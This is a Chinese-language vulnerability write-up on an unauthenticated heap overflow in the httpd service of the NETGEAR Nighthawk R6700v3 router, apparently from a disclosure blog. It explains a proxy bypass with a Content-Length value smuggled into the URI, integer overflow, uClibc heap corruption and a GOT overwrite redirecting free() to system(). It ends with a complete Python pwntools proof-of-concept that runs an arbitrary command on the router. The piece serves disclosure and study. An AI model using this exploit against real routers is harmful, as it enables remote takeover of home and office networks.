0x00 前言
Pwn2Own Tokyo 2019引入了一个新的类别:无线路由器。在这次比赛中,有款目标路由器为NETGEAR Nighthawk R6700v3。我并没有参加这次比赛,但还是想分析一下该设备,看能不能找出一些漏洞。除了这次比赛中找到的漏洞,我还发现路由器中存在另一个堆溢出漏洞,恶意第三方可以利用该漏洞,从本地网络控制该设备。我将在本文中详细分析该漏洞,并且会提供一个PoC,适用于固件版本为V1.0.4.84_10.0.58的所有路由器。
该漏洞位于httpd
服务中(/usr/bin/httpd
),未经身份认证的攻击者如果连入本地网络,就可以向httpd
web服务发送精心构造的HTTP请求,最终在目标系统上执行远程代码。成功利用该漏洞后,攻击者可能会全面入侵存在漏洞的系统。漏洞根源在于路由器的文件上传函数,该函数在处理导入的配置文件时存在一个堆溢出漏洞。
0x01 背景
我想先简要介绍一下路由器对HTTP请求的处理流程。这款路由器的web服务并没有直接在80端口上监听,但有个代理进程会在该端口上监听:NGINX
代理。我还没有深入分析该进程,因此不确定这是否是常用的NGINX
web服务器版本。
当HTTP请求到达httpd
服务时,主要处理该请求的函数为sub_159E8()
。该函数执行流程如下图所示:
图1. sub_159E8()
函数执行流程
函数首先会从socket中读取HTTP请求,然后检查该HTTP请求是否为文件上传请求。如果不满足该条件,则会调用sub_10DC4
函数,该函数负责解析HTTP请求,执行身份认证、请求调度等逻辑。如果为文件上传请求,则会执行上图中的X
部分代码。从上图可知,sub_10DC4
为处理请求的主函数,X
部分代码与该函数独立,因此比较吸引人,这次我们发现的漏洞的确位于该区域。
0x02 漏洞分析
如上图所示,该漏洞可以通过HTTP上传操作来触发,上传请求由/backup.cgi
负责处理。在测试该功能的过程中,我发现了影响该端点的两个不同的问题。第一个问题为缺少身份认证:攻击者无需通过身份认证就能上传新的配置文件。不过由于应用新的配置之前路由器会进行身份认证,因此我们无法替换目标凭据、或者修改目标系统的设置。第二个问题为典型的堆溢出漏洞,位于文件上传功能中。
存在漏洞的函数会将上传的文件内容拷贝到一个堆缓冲区中,而该缓冲区大小由攻击者所控制,相应的伪代码片段如下图所示:
图2. 存在漏洞的函数伪代码片段
为了控制堆缓冲区大小,攻击者可以使用Content-Length
头部字段,但这个过程并没有那么简单。我们来分析下具体原因。
导入配置文件的HTTP请求如下所示:
图3. 导入配置文件的HTTP请求
HTTP请求必须满足几个条件。首先,URI必须包含以下某个字符串:backup.cgi
、genierestore.cgi
或者upgrade_check.cgi
。此外,请求必须为multipart/form-data
请求,头部中必须包含name="mtenRestoreCfg
字段。最后,文件名不能为空字符串。然而,根据前面介绍的web处理架构,HTTP请求在传递给httpd
服务前必须先交给NGINX代理处理。NGINX代理的policy_default.conf
配置文件如下:
图4. NGINX配置文件
因此,为了绕过NGINX代理,我选择如下URI:
图5. 绕过代理的URI
文件上传的处理逻辑位于sub_159E8
函数中,其中程序会从头部中提取Content-Length
值:
图6. 提取Content-Length
上述代码片段首先会使用strstr
函数来定位整个HTTP请求中的Content-Length
字段,然后提取该字段值,在一个循环中通过简单的逻辑实现atoi
函数,将其从字符串转换为整数:
图7. 将字符串转换为整数的循环
然而,由于NGINX代理的存在,我们无法直接将任意值传递给Content-Length
头。除了过滤请求外,该代理还会rewrite请求。代理会确认Content-Length
值等于POST数据的大小,然后将Content-Length
头放在请求的第一个头部中。因此,我们无法在另一个头部中伪造Content-Length
。然而提取Content-Length
头的代码逻辑存在缺陷,相关代码会在整个HTTP请求中执行strstr函数,而不是只处理请求头。因此我们有可能在URI中设置Content-Length
头,由httpd
服务来解析,如下所示:
图8. 伪造Content-Length
的URI
由于请求地址位于HTTP头之前,带有上述URI,因此传递给图7中代码的字符串为111 HTTP/1.1
。通过这种方法,我们能够完全控制Content-Length
的值,触发整数溢出漏洞。
此外,图7中对atoi
的实现比较有趣的一点是,代码在碰到非数字字符时并没有停止,而是会继续执行,直到碰到回车换行符(\r\n
)才停止,期间会将找到的所有字符都解析为十进制数字。为了获取每个字符对应的数字值,代码会将字符编码减去数字0对应的ASCII字符码。这种方法适用于数字0到数字9之间的值,但当解析非数字字符时将得到错误结果。比如,当解析空格符时(ASCII 0x20
),代码计算出的值为0x20 - 0x30
(即0xfffffff0
)。由于计算错误,上述示例中111 HTTP/1.1
字符串所得的最终值为0x896ebfe9
。为了控制该值,我使用了暴力程序来替换各种Content-Length
值,模拟atoi
循环,直到寻找到合适的值为止。最终我找到的字符串为4156559 HTTP/1.1
,对应的值为ffffffe9
,这是大小合适的负数值。
继续研究代码路径:
图9. 整数溢出漏洞
首先,程序会通过无符号方式将Content-Length
值与0x20017
进行比较。如果该值大于0x20017
,就会执行0x17370
地址处的汇编代码。然后,由于该请求为导入配置请求,因此存放在dword_19A08
与dword_19A08
中的值将等于0
。接下来,程序会检查存放在dword_1A870C
中的指针值。如果该值不等于0,将会释放该指针所指向的内存。随后程序会调用malloc
,传入Content-Length
的值+0x258
来分配内存,用来存放文件内容,结果存放在dword_1A870C
中。由于我们可以完全控制Content-Length
的值,因此可以将Content-Length
值设置为负数,触发整数溢出漏洞。
程序接下来会将整个文件内容拷贝到前面分配的缓冲区中,导致堆溢出漏洞。
图10. 堆缓冲区溢出漏洞
0x03 需要考虑的因素
在构造利用代码时,我们需要考虑如下几个因素:
1、我们拿到了一个堆溢出漏洞,允许我们将任意数据写入堆内存中(包括null
字节)。
2、由于ASLR机制不完备,堆内存位于固定地址。
3、系统用到了uClibc
。这是glibc
的最小libc
版本,因此包含简单实现的malloc
及free
函数。
4、在调用memcpy()
并实现堆溢出后,设备会调用sub_21A58()
来返回错误页面。在sub_21A58()
中,代码会调用fopen()
来打开文件。fopen()
中会两次调用malloc()
,大小分别为0x60
以及0x1000
。分配的内存随后都会被释放。简而言之,分配及释放内存的顺序如下:
图11. 内存分配操作顺序
此外,我们可以发送Import String Table请求,在sub_95AF4()
中调用malloc
以及free
。该函数用来计算String Table Upload文件的校验和,对应的伪代码如下:
图12. sub_95AF4()
中的伪代码
导入字符串表的HTTP请求如下所示:
图13. 导入字符串表的HTTP请求
0x04 漏洞利用技术
我们可以通过堆缓冲区溢出来发起fastbin dup攻击。“Fastbin dup”攻击可以破坏堆状态,使对malloc
的后续调用会返回我们选定的地址。当malloc
返回指定地址后,我们可以将任意数据写入该地址(从而实现write-what-where原语)。我们可以覆盖某个GOT条目,实现远程代码执行。更具体一点,我们可以覆盖free()
对应的GOT条目,将其重定向到system()
,这样shell就会执行包含攻击者输入数据的缓冲区。
然而在这个场景中,我们很难发起fastbin dup攻击。前面提到过,每个请求都会调用malloc(0x1000)
,这将导致设备调用__malloc_consolidate()
函数,破坏fastbin。
前面提到过,系统使用了uClibc
库,因此free()
与malloc()
函数的实现与glibc
存在较大不同。我们来看一下free()
函数:
图14. uClibc
中free()
的实现
在上图22行中,可以看到访问fastbins
数组时缺少边界检查,这将导致fastbins
出现越界写入。
检查malloc_state
结构以及fastbin_index
宏,这两者定义都位于malloc.h
中:
图15. malloc_state
结构及fastbin_index
宏的定义
max_fast
变量紧靠在fastbins
数组之前。因此,如果我们将chunk的大小设置为8,那么当这个chunk被释放时,fastbin_index(8)
将返回-1
值,max_fast
将被较大地址(一个指针)所覆盖。当heap正常运行时,chunk的值大小永远不会等于8,这是因为chunk中的metadata将占据8个字节,因此如果chunk大小为8,则代表用户数据大小为0字节。
当max_fast
被改成较大的值后,在malloc(0x1000)
调用期间__malloc_consolidate()
不会再被调用,这样我们就能进行fastbin dup攻击。
总结一下,我们的利用过程如下:
1、发起请求,触发堆溢出漏洞,覆盖chunk的PREV_INUSE
标志,使其错误地表示前一个chunk已被释放。
2、由于设置了错误的PREV_INUSE
标志,我们可以让malloc()
返回与已有chunk有重叠的chunk。这样我们可以编辑已有chunk中metadata的大小字段,将其设置为8这个无效值。
3、当这个chunk被释放并放在fastbin上时,malloc_stats->max_fast
会被较大的一个值覆盖。
4、当malloc_stats->max_fast
被修改后,在调用malloc(0x1000)
时,系统不再调用__malloc_consolidate()
。这样我们就能发起fastbin攻击。
5、再次触发堆溢出漏洞,使用选定的目标地址来覆盖空闲fastbin chunk的覆盖fd
(fowrard)指针。
6、后续调用malloc()
时将返回我们设置的目标地址。我们可以通过这种方式将选定的数据写入目标地址。
7、使用这种“write-what-where”原语来写入free_got_addr
地址,这里我们写入的数据为system_plt_addr
。
8、最后,当释放包含攻击者提供的字符串的缓冲区时,设备将调用system()
,而不是free()
,从而实现远程代码执行。
堆内存布局及详细的利用过程可参考如下PoC文件:
#! /usr/bin/python2
# coding: utf-8
from pwn import *
import copy
import sys
def post_request(path, headers, files):
r = remote(rhost, rport)
request = 'POST %s HTTP/1.1' % path
request += '\r\n'
request += '\r\n'.join(headers)
request += '\r\nContent-Type: multipart/form-data; boundary=f8ffdd78dbe065014ef28cc53e4808cb\r\n'
post_data = '--f8ffdd78dbe065014ef28cc53e4808cb\r\nContent-Disposition: form-data; name="%s"; filename="%s"\r\n\r\n' % (files['name'], files['filename'])
post_data += files['filecontent']
request += 'Content-Length: %i\r\n\r\n' % len(post_data)
request += post_data
r.send(request)
sleep(0.5)
r.close()
def make_filename(chunk_size):
return 'a' * (0x1d7 - chunk_size)
def exploit():
path = '/cgi-bin/genie.cgi?backup.cgiContent-Length: 4156559'
headers = ['Host: %s:%s' % (rhost, rport), 'a'*0x200 + ': d4rkn3ss']
files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
print '[+] malloc 0x28 chunk'
# 00:0000│ 0x103f000 ◂— 0x0
# 01:0004│ 0x103f004 ◂— 0x29
# 02:0008│ r0 0x103f008 <-- return here
f = copy.deepcopy(files)
f['filename'] = make_filename(0x20)
post_request(path, headers, f)
print '[+] malloc 0x18 chunk'
# 00:0000│ 0x103f000 ◂— 0x0
# 01:0004│ 0x103f004 ◂— 0x29 /* ')' */
# 02:0008│ 0x103f008
# 03:000c│ 0x103f00c
# ... ↓
# 0a:0028│ 0x103f028
# 0b:002c│ 0x103f02c ◂— 0x19
# 0c:0030│ r0 0x103f030 <-- return here
f = copy.deepcopy(files)
f['filename'] = make_filename(0x10)
post_request(path, headers, f)
print '[+] malloc 0x28 chunk and overwrite 0x18 chunk header to make overlap chunk'
# 00:0000│ 0x103eb50 ◂— 0x0
# 01:0004│ 0x103eb54 ◂— 0x21 <-- recheck
# ... ↓
# 12d:04b4│ 0x103f004 ◂— 0x29 /* ')' */
# 12e:04b8│ 0x103f008 ◂— 0x61616161 ('aaaa') <-- 0x28 chunk
# ... ↓
# 136:04d8│ 0x103f028 ◂— 0x4d8
# 137:04dc│ 0x103f02c ◂— 0x18
# 138:04e0│ 0x103f030 ◂— 0x0
f = copy.deepcopy(files)
f['filename'] = make_filename(0x20)
f['filecontent'] = 'a' * 0x20 + p32(0x4d8) + p32(0x18)
post_request(path, headers, f)
print '[+] malloc 0x4b8 chunk and overwrite size of 0x28 chunk -> 0x9. Then, when __malloc_consolidate() function is called, __malloc_state->max_fast will be overwritten to a large value.'
# 00:0000│ 0x103eb50 ◂— 0x0
# 01:0004│ 0x103eb54 ◂— 0x4f1
# ... ↓
# 12d:04b4│ 0x103f004 ◂— 0x9
# 12e:04b8│ 0x103f008
# ... ↓
# 136:04d8│ 0x103f028 ◂— 0x4d8
# 137:04dc│ 0x103f02c ◂— 0x18
# 138:04e0│ 0x103f030 ◂— 0x0
f = copy.deepcopy(files)
f['name'] = 'StringFilepload'
f['filename'] = 'a' * 0x100
f['filecontent'] = p32(0x4b0).ljust(0x10) + 'a' * 0x4ac + p32(0x9)
post_request('/strtblupgrade.cgi.css', headers, f)
print '[+] malloc 0x18 chunk'
# 00:0000│ 0x10417a8 ◂— 0xdfc3a88e
# 01:0004│ 0x10417ac ◂— 0x19
# 02:0008│ r0 0x10417b0 <-- return here
f = copy.deepcopy(files)
f['filename'] = make_filename(0x10)
post_request(path, headers, f)
print '[+] malloc 0x38 chunk'
# 00:0000│ 0x103e768 ◂— 0x4
# 01:0004│ 0x103e76c ◂— 0x39 /* '9' */
# 02:0008│ r0 0x103e770 <-- return here
f = copy.deepcopy(files)
f['name'] = 'StringFilepload'
f['filename'] = 'a' * 0x100
f['filecontent'] = p32(0x30).ljust(0x10) + 'a'
post_request('/strtblupgrade.cgi.css', headers, f)
print '[+] malloc 0x48 chunk'
# 00:0000│ 0x103e768 ◂— 0x4
# 01:0004│ 0x103e76c ◂— 0x39 /* '9' */
# 02:0008│ r0 0x103e770
# ... ↓
# 0e:0038│ 0x103e7a0
# 0f:003c│ 0x103e7a4 ◂— 0x49 /* 'I' */
# 10:0040│ r0 0x103e7a8 <-- return here
f = copy.deepcopy(files)
f['name'] = 'StringFilepload'
f['filename'] = 'a' * 0x100
f['filecontent'] = p32(0x40).ljust(0x10) + 'a'
post_request('/strtblupgrade.cgi.css', headers, f)
print '[+] malloc 0x38 chunk and overwrite fd pointer of 0x48 chunk'
# 00:0000│ 0x103e768 ◂— 0x4 <-- 0x38 chunk
# 01:0004│ 0x103e76c ◂— 0x39 /* '9' */
# 02:0008│ 0x103e770 ◂— 0x0
# 03:000c│ 0x103e774 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaI'
# ... ↓
# 0f:003c│ 0x103e7a4 ◂— 0x49 /* 'I' */ <-- 0x48 chunk
# 10:0040│ 0x103e7a8 —▸ 0xf555c (semop@got.plt)
free_got_addr = 0xF559C
f = copy.deepcopy(files)
f['filename'] = make_filename(0x30)
f['filecontent'] = 'a' * 0x34 + p32(0x49) + p32(free_got_addr - 0x40)
post_request(path, headers, f)
print '[+] malloc 0x48 chunk'
# 00:0000│ 0x103e7a0 ◂— 'aaaaI'
# 01:0004│ 0x103e7a4 ◂— 0x49 /* 'I' */
# 02:0008│ r0 0x103e7a8 <-- return here
f = copy.deepcopy(files)
f['filename'] = make_filename(0x40)
post_request(path, headers, f)
print '[+] malloc 0x48 chunk. And overwrite free_got_addr'
# 00:0000│ 0xf555c (semop@got.plt) —▸ 0x403b6894 (semop) ◂— push {r3, r4, r7, lr}
# 01:0004│ 0xf5560 (__aeabi_idiv@got.plt) —▸ 0xd998 ◂— str lr, [sp, #-4]!
# 02:0008│ r0 0xf5564 (strstr@got.plt) —▸ 0x403c593c (strstr) ◂— push {r4, lr} <-- return here
system_addr = 0xDBF8
f = copy.deepcopy(files)
f['name'] = 'StringFilepload'
f['filename'] = 'a' * 0x100
f['filecontent'] = p32(0x40).ljust(0x10) + command.ljust(0x38, '') + p32(system_addr)
post_request('/strtblupgrade.cgi.css', headers, f)
print '[+] Done'
if __name__ == '__main__':
context.log_level = 'error'
if (len(sys.argv) < 4):
print 'Usage: %s <rhost> <rport> <command>' % sys.argv[0]
exit()
rhost = sys.argv[1]
rport = sys.argv[2]
command = sys.argv[3]
exploit()
0x05 总结
在本文发表时,厂商表示:“NETGEAR计划发布固件更新,如果受影响的产品仍在安全支持生命周期中,漏洞将会被修复”。厂商的确发布了beta版补丁,可以访问此处下载。我们还未测试该补丁是否能正确解决该漏洞的根源问题。ZDI在6月15日发布了安全公告,表示“考虑到该漏洞的特性,唯一可靠的缓解策略是限定目标服务的访问权限,只有合法的客户端和服务器才能与该设备通信。我们可以通过多种方式来实现该目标,比如防火墙规则、白名单等”。在官方推出补丁之前,这是降低风险的最佳建议。
发表评论
您还未登录,请先登录。
登录